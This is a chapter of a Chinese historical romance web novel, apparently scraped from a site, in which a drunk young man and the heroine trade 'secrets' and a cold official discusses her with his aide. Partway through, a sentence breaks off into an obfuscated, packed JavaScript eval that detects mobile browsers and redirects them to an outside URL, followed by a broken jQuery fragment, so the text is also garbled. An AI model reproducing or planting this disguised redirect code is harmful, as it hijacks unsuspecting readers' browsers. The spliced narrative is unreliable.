27. 交换秘密
作品:《蕙风酿思意》 “阿宁怎么不在了,她不要我了,我要去找她……”
“楚公子,我家姑娘去方便了,很快就回来了。若是公子能把这杯酒喝完,姑娘回来若看到,定是很敬佩公子的……”
“真的吗?”静姝给她杯子里斟满了酒,楚思齐正要拿杯,忽然想到了什么,将酒杯重重搁到桌子上,还有几滴溅了出来。
静姝雪蝶见此一惊,只听他说:“你们骗人,一定是我说错话,惹得阿宁生气了,所以她不想见我了。”
姜蕙安在金三娘的房中待了半个时辰,待到了自己门前,听到房内有这样的动静,顿了顿才推开房门。
楚思齐一瞬间睁大眼睛,看到真是姜蕙安回来了,嘴角扯出个笑,“阿宁你回来了,你看,这千日醉我只剩一杯就喝完了,我厉害吧。”
姜蕙安坐下,将楚思齐面前的那杯酒挪到自己跟前,拍了拍他的肩,“厉害,你可是我姜蕙安的好兄弟,怎么能不厉害呢?天色不早了,你喝点醒酒汤,我带你回家。”
楚思齐摇摇头,“不要。”
“听话!”她看向雪蝶,“雪蝶,你去让小二上些醒酒汤来,尽量快些。”
雪蝶说了个“好”,立马走出门外,吩咐好后又进来。
静姝走到姜蕙安身边,使了个眼色,意思是进展还顺利吗?姜蕙安微不可察地笑了一下。
楚思齐分明醉得很,可此刻仍然耳聪目明,他见姜蕙安和静姝你一眼我一眼,像有什么秘密似的,心里稍有些不是滋味。
他咳了一声,说:“阿宁,我们是不是最好的兄弟了?”
姜蕙安愣愣地点了头。
“那好兄弟是不是应该知道彼此所有的秘密?”
姜蕙安顿了顿,随后仍是愣愣地点了头。
“阿宁,那你说,你今日约我来此有什么秘密?”
他的目光在姜蕙安与静姝之间流转,她们二人则是对视一眼,随后又愣愣地看向他,同时摇了摇头。
“我不信,阿宁,那我们交换秘密可好。”
楚思齐不管急着摇头的姜蕙安,径自说:“阿宁,明晚的冬至宴,我一定不会让楚思尧去的,你放心,我不会让这个讨厌的人出现在你面前。”
姜蕙安一怔,“你要做什么?”
楚思齐笑了笑,“这是第二个秘密了,你还没告诉我你的秘密是什么呢?”
楚思尧与楚思齐并非同母胞兄,感情也不和,楚思齐自小就在姜蕙安耳边说楚思尧的坏话。姜蕙安幼时却不是个听风就是风听雨就是雨的性子,她心里有一杆秤,她觉得楚思齐是因她母亲的缘故,才对楚思尧心有不满,处处为难。
她是知道的,楚思齐这人智谋不足,空有莽夫之勇。他说明日会阻拦楚思尧来冬至宴,想必也不会用什么高超的计谋。他自然也不会用什么恶毒的法子,因为他只是面上看着嚣张厉害,实际心地善良易心软。他的法子,无非就是给楚思尧下点闹肚的药,抑或旁的幼稚的把戏,从而不让他来。
而这些把戏,楚思尧应当是能提前看出来的吧?她才不信楚思尧能被这些事绊住,从而来不了冬至宴。
姜蕙安还是希望他能来的,毕竟她是他的表妹,自是要多来往,才能对他了解得更多。不能像上一世那样,她离他离得远,从未看清他到底是个怎样的人。
知己知彼,即使不能做到百战不殆,也能尽力做到防患于未然,尽力做到洞察先机,了然于胸。
“阿宁,你在想什么呢?快告诉我,你的秘密是什么?”
姜蕙安回过神来,弯唇一笑,“我的秘密,可不是一般的秘密,岂能以你那无足轻重的小秘密换之?等到了合适的时机,你以你的一个大秘密来做交换,我再仔细斟酌一番,看是否要告知于你。”
“好,一言为定!”
“一言为定!”
门口传来“咚咚”敲门声,“客官,醒酒汤到了!”雪蝶开门将醒酒汤端进来,放在楚思齐的面前,“楚公子,快喝吧,醒醒酒,然后送你回府。”
楚思齐垂下头,默不作声将一大碗醒酒汤一饮而尽。
喝完醒酒汤,几人在房里待了近一炷香的时间,楚思齐清醒了很多,姜蕙安才让人带着楚思齐离开。
因他来时没带小厮,也没乘马车,所以姜蕙安把他塞进了自己的马车里,让车夫带他回去。
马车里一片昏暗,楚思齐正闭目歇息。马车停了下来,马车外传来一声:“公子,转运使府到了。”楚思齐出去,扶着车夫的手下了马车。顿了顿,回过身来看向车夫。
车夫长得清秀斯文,楚思齐之前也经常坐姜蕙安的马车,车夫不是这个人。
于是他问了句:“你是新来的?”车夫笑道:“是,我本是车行的,我叫李二。前些日子姜二娘子在南街为一车夫出了头,那车夫就是我。承蒙娘子信任,让我留在府中做事,正好娘子原先的车夫家中有事离开了刺史府,所以我就成为了娘子新的车夫。”
楚思齐眼神有些涣散,漫不经心地扫他一眼,懒洋洋地说:“那就好好干,别辜负阿宁的信任。”
这时,总管田福恰巧要出府,在府门前见到了两人。这架马车,他认得,是刺史府的马车。他急忙走到楚思齐身旁,酒气扑鼻而来,“小公子这是与谁吃酒去了?若是让老爷知道了,老爷又要发好一通火了。”
佯装不知,装傻充愣。
车夫笑了一下,正要说话,楚思齐将他一拦,“你先回去吧。”随后对田福说:“怎么那么多事,就连我同谁去吃酒也要管。”说完,摇晃着走了。田福见他醉成这样,急忙先扶他进府。
转运使府一间屋子里,只有桌案上亮着一盏烛火,熠熠火光在墙上投下一个静穆的人影,照亮桌案这一方寸之地,也试图温暖一张凛若冰霜的脸庞。
楚思尧端坐在桌案前,屏声静气,秉笔在宣纸上一笔一划认真书写,发出细密连续的“沙沙声”。
在这静到只闻呼吸声和笔墨声的屋里,从门外忽然传来轻轻扣门声,楚思尧一抬头,听到一声——“大人,是我。”
“进。”
他的声音极为温润好听,不似他的相貌那般冷峻,似乎能将这寂静肃穆的夜融化。
两扇门被朝里推开,进来的是一个小厮。但目光端肃,身姿英挺。
“沉岳,府内可是有异动?”
楚思尧抬头看了眼进屋的男子,又低下头将他方才写好的信夹在两块刻成鲤鱼形状的竹板之间,用绳子捆扎并封上封泥。
沉岳很快说:“小公子方才从一辆马车上下来,喝了酒。马车车夫是李二,所以小公子是从姜二娘子的马车里下来的。”
楚思尧神色微动,半晌没说话。
“大人,我要不要再去暗中盯一下小公子,您回府这两天,想必他会给您使绊子。”
楚思尧摇摇头,“楚思齐不足为惧,他的那些手段我压根就没放在眼里。”
“那我要不要去刺史府找下李二,打探姜二娘子今日去了哪里。她有段时日没来找小公子了,小公子数次去找她,也全被她给拒了。可这两日大人回府,她就邀了楚思齐出去。况且她那日又出现在南街,所以我觉得她只是看似单纯,却非等闲之辈,不知和大人要做的事有没有牵扯。反正她非将李二留了下来,那就让李二好好盯着她。只希望是我多虑了。”
那夜李二在南街被三个恶霸给打伤了,姜蕙安于心不忍,就将他留在府中养伤。他伤得重,本以为起码过半月才能好,没成想他身子骨太好了,才不过几日,他就能完全下地走路了。
李二是个很有分寸感的人,伤好后就要立马离开刺史府。没想到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217416|196979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姜蕙安想到那夜李二英勇无畏的行径,心里竟生了个念头——要将他留下来当她的小厮和车夫,反正她对他一定会比车行大方。
可李二说什么也要走,这更引起了姜蕙安的注意。人往高处走,水往低处流,这李二却反其道行之。这让姜蕙安觉得他是个忠义之人,而非趋炎附势之辈,她一定要把这样的人留在自己身边。
于是她对李二说:“说吧,你怎样才能留下,条件随你开。”
李二蹙着眉头说:“我确有一事,还望姜二娘子容我想半日。半日之后,我给娘子答复,再决定去留可好?”
李二最终还是留在了刺史府,成为姜蕙安的人。
可姜蕙安不知道,李二在成为她的人之前,是楚思尧的人,他进车行,也是楚思尧安排的。
楚思尧借着融融烛光,看着沉岳好半晌,忽的笑了笑,“沉岳,我知道你做任何事前都深思熟虑,洞察力异于常人。能一直冷静地对事情权衡利弊是好事,但有时候,也要适度以俗世的情感去度量人和事。你想,姜蕙安将一个不知底细的李二留下来,凭的应该就是李二的不趋炎附势和忠心良善。足以证明,姜蕙安是一个恰好与你相反的人,她做事多以自己对这件事或这个人的深刻看法与理解,很难抛开情感去冷漠地审视人或事。当然,你二人的不同取决于不同的成长环境,这无可厚非。”
烛火绽放在楚思尧的眸中,显得异常灼灼动人,“她的明敏多思是善良单纯的,因而她的手段不会是卑鄙和见不得光的。这样的女子,不是我这样阴狠深沉的人该去防的,我不配。我真正要防的,是不择手段,满腹算计的人。至于你所说,姜蕙安与我要做的事有无牵扯,她是我的表妹,我心中自是有数。”
他和她就像是在夜里偶然相遇的两叶孤舟,她有着自己既行的水路,看了眼他就平淡离去。
而他借着朦胧月辉,在相隔甚远的地方就看到了她,渐渐靠近时,她眉眼处的日晖似乎要把他灼透。他很久没感受过煦日,擦肩而过时沾染了那一抹温暖已足够了,不忍再让一身冷寒的自己靠近她。
听了楚思尧的话,沉岳一向清晰的思绪第一次出现模糊不明的地方。他们暗影司眼观四方,提防任何对他们和楚思尧不利的人和事,这难道不是应该的吗?自己不过提了句要防着姜蕙安,大人就说姜蕙安有多好有多善良。看来还是自己多管闲事和越界了,大人心里有数便好。
终究是自己做的还不够好,下次说话做事之前还得三思再三思。
楚思尧见沉岳眉心微拢,像是想不明白这些弯弯绕绕,忍不住笑出声,“我记得你是比我小两岁,也是时候该找个心仪的女子,成个家了。人心中有了牵挂的人,自是会变得柔软一些,自然而然地懂得一些道理。”
沉岳英挺的身姿忽地躬下来,“我想一直跟着大人,从未考虑过成家。”
“这事还由不得你,等你遇到那个人,你就明白了。”
楚思尧说完,将方才用封泥封上的信递给沉岳,“收好了,明日一早交给青弦,快马加鞭送到盛京沈鹤的手上。”
沈鹤,即中书门下知制诰,便是那夜楚铮诓楚思尧的所谓他真正想结交之人。
此前,他就给沈鹤去了一封信,沈鹤昨日给他回了信。今夜,他又写好一封信,遣人给沈鹤送去。
见楚思尧起身往门的方向走,沉岳拿起衣桁上挂着的玄色大氅,披在楚思尧的身上。
大氅已被熏笼熏得散发出丝丝缕缕的清冷幽香,既有松的清新,又有雪的冷冽。
楚思尧将系带系好,走到门前,稳健从容的步子顿住。
沉岳看着楚思尧渐渐隐于暮色的挺拔如松的背影,见他微微侧着脸。
“我今夜去醉仙楼,若是有人问起我去何处,就说我有东西落在衙门了,回去取一趟。”

